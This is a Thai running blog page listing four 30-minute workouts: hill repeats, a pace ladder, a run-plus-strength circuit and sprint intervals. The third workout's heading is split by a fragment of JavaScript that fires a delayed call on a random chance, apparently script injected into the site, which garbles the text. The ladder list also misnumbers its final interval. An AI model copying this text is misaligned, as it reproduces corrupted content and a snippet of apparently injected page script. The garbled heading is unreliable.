• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

30-Minute Running Workouts: แผนการวิ่ง 30 นาที สำหรับคนมีเวลาน้อย

kan by kan
19 October 2019
in Running Tips
0
30-Minute Running Workouts: แผนการวิ่ง 30 นาที สำหรับคนมีเวลาน้อย
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ข้อดีของการออกกำลังกายด้วยวิธีการวิ่ง คือ เเม้คุณมีเวลาน้อย การปรับรูปแบบวิธีการวิ่งที่ใช้เวลาแค่ 30 นาที ก็ยังสามารถรีดเอาไขมันออกได้ แถมยังช่วยเพิ่มความแข็งแรงของกล้ามเนื้อ ความเร็วและความอึดได้ด้วย

30-Minute Running Workouts: แผนการวิ่ง 30 นาที สำหรับคนมีเวลาน้อย

Quick & effective running workouts: รูปแบบวิธีการวิ่งระยะสั้นๆ ภายในเวลา 30 นาทีและมีประสิทธิภาพได้แก่  

1. Hill Workout

วิธีนี้ก็คือการวิ่งขึ้นเขา หรือวิ่งไต่ความชัน ถ้าพื้นที่วิ่งไม่มีเนินสูงก็แนะนำให้ใช้ Treadmill แบบที่ปรับความชันได้ ซึ่งจะดีมากต่อการปรับองศาความชัน สามารถเลือกให้เหมาะกับระดับเลเวลนักวิ่งได้ ไม่เกิดความเครียดสะสมต่อข้อเข่ามากนัก โดยเฉพาะเวลาวิ่งลงเขาหรือ downhill 

Warm-up เดินหรือจ๊อกกิ้งเบาๆ 10 นาที และในช่วง 2-3 นาทีสุดท้าย ให้ปรับความเร็วขึ้น ปรับเร่งความเร็วสัก 10 วินาที ทำ 2-3 ครั้ง เพื่อให้ร่างกายพร้อมกับการวิ่งเร็ว

Main set ทำทั้งหมด 6-7 เซต

Work interval: ถ้าใช้ treadmill ให้ปรับความชัน 3-4% วิ่ง 1 นาที แต่ถ้าวิ่งข้างนอก ให้มองหาเนินความชันกลางๆ ที่สามารถวิ่งถึง 1 นาทีได้ จากนั้นให้วิ่งระดับ Hard (คล้ายๆ กับการวิ่งทำความเร็วระดับ 5K) หรือยังพอสามารถพูดเป็นคำๆ ได้อยู่

Recovery interval: ถ้าวิ่งบน Treadmill ปรับองศาลง 1% และผ่อนจังหวะวิ่งลงและวิ่ง recovery 1 นาที ถ้าเป็นการวิ่งข้างนอก จังหวะวิ่งลงนี้ก็ใช้ pace เบาๆ หรือเดินก็ได้ เพื่อให้การหายใจกลับสู่ระดับปกติ

Cool down: หลังจากจบการ recovery รอบสุดท้าย ให้จ๊อกเบาๆ เพื่อคูลดาวน์ 6 นาที

2. 30-Minute Ladder Workout

การวิ่งแบบต่อไปนี้จะทำให้นักวิ่งปรับ pace สูงขึ้นเรื่อยๆ รอบถัดไปของ interval ต้องเร็วกว่ารอบเก่า และจำไว้ว่าเวลาเริ่มต้น อย่าออกตัวเร็ว pace สูงๆ เลย ให้ค่อยๆ ปรับ pace สูงขึ้นเรื่อยๆ เอาให้สามารถจบ 4 รอบ interval และระหว่าง recovery ให้จ๊อกเบาๆ ถ้าไม่ไหวก็เดินเอา

  • Warm-up: จ๊อกกิ้ง 5 นาที
  • Working interval#1: วิ่ง pace ระดับกลางหรือ ระดับ 5 ใน 10 เป็นเวลา 5 นาที + Recovery 1 นาที
  • Working interval#2: วิ่ง pace ระดับกลางหรือ ระดับ 6 ใน 10 เป็นเวลา 4 นาที + Recovery 1 นาที
  • Working interval#3: วิ่ง pace ระดับสูงหรือ ระดับ 7 ใน 10 เป็นเวลา 3 นาที + Recovery 1 นาที
  • Working interval#4: วิ่ง pace ระดับสูงหรือ ระดับ 8 ใน 10 เป็นเวลา 2 นาที + Recovery 1 นาที
  • Working interval#3: วิ่ง pace ระดับสูงหรือ ระดับ 9 ใน 10 เป็นเวลา 1 นาที + Recovery 1 นาที
  • Cool-down: จ๊อกกิ้ง 5 นาที

3. Run andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Strength Combo Workout

รูปแบบการฝึกวิ่งที่ผสมกับการบริหารกล้ามเนื้อ แนะนำให้ใช้ท่าบริหารที่รู้จัก บริหารร่างกายออกเป็นส่วนๆ ตั้งแต่ Upper, Core และ Lower

  • Warm-up: จ๊อกกิ้ง 5 นาที
  • Run: วิ่ง 1 นาทีที่ระดับ pace วิ่ง 5K + ท่าบริหารกล้ามเนื้อ Squat 1 นาที
  • Run: วิ่ง 2 นาทีที่ระดับ pace วิ่ง 5K + ท่าบริหารกล้ามเนื้อ Walking lunges 1 นาที
  • Run: วิ่ง 3 นาทีที่ระดับ pace วิ่ง 5K + ท่าบริหารกล้ามเนื้อ donkey kicks 1 นาที
  • Run: วิ่ง 4 นาทีที่ระดับ pace วิ่ง 5K + ท่าบริหารกล้ามเนื้อ tricep dips 1 นาที
  • Run: วิ่ง 5 นาทีที่ระดับ pace วิ่ง 5K + ท่าบริหารกล้ามเนื้อ Push-up 1 นาที
  • Cool down: วิ่งจ๊อกกิ้ง 5 นาที

4. Sprint Intervals

  • Warm up: จ๊อกกิ้ง 5 นาที
  • Run: วิ่งเร็ว 30 วินาที เริ่มจากวิ่งเร็วก่อนอย่าเพิ่งใส่สุดเกียร์ตั้งแต่ต้น เซตต่อๆ ไปค่อยๆ เพิ่มความเร็ว
  • Recover: วิ่งที่ pace สบายๆ 1 นาที ไม่ไหวก็ให้เดิน
  • Repeat: ทำซ้ำอีกครั้ง โดย pace จะสูงขึ้นเรื่อยๆ จนได้ครบ 20 นาที
  • Cool down: จ๊อกกิ้ง 5 นาที

วิ่งสปริ้นท์ก็เพื่อเพิ่มความเร็ว ความแข็งแกร่งของร่างกาย และระบบ Aerobic เป็นการฝึกปรับรอบขานักวิ่งให้สูงขึ้น แนะนำให้ฝึกวิ่ง outdoor หรือในลู่วิ่งเป็นหลัก แต่ treadmill ก็ทำได้เช่นกัน  

อ้างอิง www.verywellfit.com

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • วิ่งให้เร็วขึ้นด้วยการฝึกสปริ้นท์ 30 วินาที

    0 shares
    Share 0 Tweet 0
  • 13 กลวิธี ขี่จักรยานให้ได้ความเร็วเพิ่มขึ้น!

    0 shares
    Share 0 Tweet 0
  • ใส่ลมยาง…เท่าไรดี?

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.